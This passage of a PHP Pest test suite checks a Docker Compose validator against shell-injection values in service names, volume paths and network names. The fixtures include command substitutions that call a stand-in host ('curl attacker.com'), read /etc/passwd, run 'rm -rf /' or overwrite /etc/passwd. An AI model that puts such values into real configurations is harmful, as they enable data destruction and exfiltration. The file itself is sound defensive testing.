validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker Compose service name'); }); test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () { $maliciousCompose = <<<'YAML' services: web: image: nginx:latest volumes: - '/tmp/pwn`curl attacker.com`:/app' YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); }); test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () { $maliciousCompose = <<<'YAML' services: web: image: nginx:latest volumes: - type: bind source: '/tmp/pwn`curl attacker.com`' target: /app YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); }); test('validateDockerComposeForInjection blocks command substitution in volumes', function () { $maliciousCompose = <<<'YAML' services: web: image: nginx:latest volumes: - '$(cat /etc/passwd):/app' YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); }); test('validateDockerComposeForInjection blocks pipes in service names', function () { $maliciousCompose = <<<'YAML' services: web|cat /etc/passwd: image: nginx:latest YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker Compose service name'); }); test('validateDockerComposeForInjection blocks semicolons in volumes', function () { $maliciousCompose = <<<'YAML' services: web: image: nginx:latest volumes: - '/tmp/test; rm -rf /:/app' YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); }); test('validateDockerComposeForInjection allows legitimate compose files', function () { $validCompose = <<<'YAML' services: web: image: nginx:latest volumes: - /var/www/html:/usr/share/nginx/html - app-data:/data db: image: postgres:15 volumes: - db-data:/var/lib/postgresql/data volumes: app-data: db-data: YAML; expect(fn () => validateDockerComposeForInjection($validCompose)) ->not->toThrow(Exception::class); }); test('validateDockerComposeForInjection allows environment variables in volumes', function () { $validCompose = <<<'YAML' services: web: image: nginx:latest volumes: - '${DATA_PATH}:/app' YAML; expect(fn () => validateDockerComposeForInjection($validCompose)) ->not->toThrow(Exception::class); }); test('validateDockerComposeForInjection blocks malicious env var defaults', function () { $maliciousCompose = <<<'YAML' services: web: image: nginx:latest volumes: - '${DATA:-$(cat /etc/passwd)}:/app' YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); }); test('validateDockerComposeForInjection requires services section', function () { $invalidCompose = <<<'YAML' version: '3' networks: mynet: YAML; expect(fn () => validateDockerComposeForInjection($invalidCompose)) ->toThrow(Exception::class, 'Docker Compose file must contain a "services" section'); }); test('validateDockerComposeForInjection handles empty volumes array', function () { $validCompose = <<<'YAML' services: web: image: nginx:latest volumes: [] YAML; expect(fn () => validateDockerComposeForInjection($validCompose)) ->not->toThrow(Exception::class); }); test('validateDockerComposeForInjection blocks newlines in volume paths', function () { $maliciousCompose = "services:\n web:\n image: nginx:latest\n volumes:\n - \"/tmp/test\ncurl attacker.com:/app\""; // YAML parser will reject this before our validation (which is good!) expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class); }); test('validateDockerComposeForInjection blocks redirections in volumes', function () { $maliciousCompose = <<<'YAML' services: web: image: nginx:latest volumes: - '/tmp/test > /etc/passwd:/app' YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); }); test('validateDockerComposeForInjection validates volume targets', function () { $maliciousCompose = <<<'YAML' services: web: image: nginx:latest volumes: - '/tmp/safe:/app`curl attacker.com`' YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docker volume definition'); }); test('validateDockerComposeForInjection handles multiple services', function () { $validCompose = <<<'YAML' services: web: image: nginx:latest volumes: - /var/www:/usr/share/nginx/html api: image: node:18 volumes: - /app/src:/usr/src/app db: image: postgres:15 YAML; expect(fn () => validateDockerComposeForInjection($validCompose)) ->not->toThrow(Exception::class); }); test('validateDockerComposeForInjection blocks invalid top-level network names', function () { $invalidCompose = <<<'YAML' services: web: image: nginx:latest networks: "app'network": YAML; expect(fn () => validateDockerComposeForInjection($invalidCompose)) ->toThrow(Exception::class, 'Invalid Docker Compose network name'); }); test('validateDockerComposeForInjection blocks invalid service network list items', function () { $invalidCompose = <<<'YAML' services: web: image: nginx:latest networks: - "app'network" YAML; expect(fn () => validateDockerComposeForInjection($invalidCompose)) ->toThrow(Exception::class, 'Invalid Docker Compose service network'); }); test('validateDockerComposeForInjection blocks invalid service network map keys', function () { $invalidCompose = <<<'YAML' services: web: image: nginx:latest networks: "app'network": YAML; expect(fn () => validateDockerComposeForInjection($invalidCompose)) ->toThrow(Exception::class, 'Invalid Docker Compose service network'); }); test('validateDockerComposeForInjection blocks invalid compose network name fields', function () { $invalidCompose = <<<'YAML' services: web: image: nginx:latest networks: frontend: name: "app'network" YAML; expect(fn () => validateDockerComposeForInjection($invalidCompose)) ->toThrow(Exception::class, 'Invalid Docker Compose network name field'); }); test('validateDockerComposeForInjection allows legitimate compose networks', function () { $validCompose = <<<'YAML' services: web: image: nginx:latest networks: - frontend - backend networks: frontend: backend: name: app-backend YAML; expect(fn () => validateDockerComposeForInjection($validCompose)) ->not->toThrow(Exception::class); }); test('validateDockerComposeForInjection allows variables in compose network name fields', function (string $name) { $compose = << validateDockerComposeForInjection($compose))->not->toThrow(Exception::class); })->with([ 'variable' => ['${SHARED_NETWORK}'], 'variable with a default' => ['${SHARED_NETWORK:-traefik_public}'], 'variable with an unset-only default' => ['${SHARED_NETWORK-traefik-public.1}'], ]); test('validateDockerComposeForInjection still blocks unsafe compose network names with variables', function (string $name, string $where) { $networkKey = $where === 'key' ? $name : 'shared'; $nameField = $where === 'name' ? $name : 'shared'; $compose = "services:\n app:\n image: nginx:latest\nnetworks:\n ".json_encode($networkKey).":\n name: ".json_encode($nameField)."\n"; expect(fn () => validateDockerComposeForInjection($compose))->toThrow(Exception::class, 'Invalid Docker Compose network name'); })->with([ 'default with shell characters' => ['${NET:-bad name;id}', 'name'], 'default with command substitution' => ['${NET:-$(id)}', 'name'], 'command substitution' => ['$(id)', 'name'], 'backticks' => ['`id`', 'name'], 'text around a variable with command substitution' => ['prefix_${NET}$(id)', 'name'], 'nested variable' => ['${NET:-${OTHER}}', 'name'], 'invalid variable name' => ['${1NET}', 'name'], 'required-variable form' => ['${NET:?missing}', 'name'], 'newline' => ["\${NET}\nid", 'name'], 'variable as network key' => ['${NET}', 'key'], ]); test('validateDockerComposeForInjection accepts network names that mix variables and text', function (string $name) { $compose = "services:\n app:\n image: nginx:latest\nnetworks:\n shared:\n name: ".json_encode($name)."\n"; expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class); })->with([ 'prefix and variable' => ['prefix_${NET}'], 'project default network' => ['${COMPOSE_PROJECT_NAME}_default'], 'variable with default inside text' => ['app-${APP_ENV:-prod}-net'], 'bare variable' => ['$PREFIX.edge'], ]);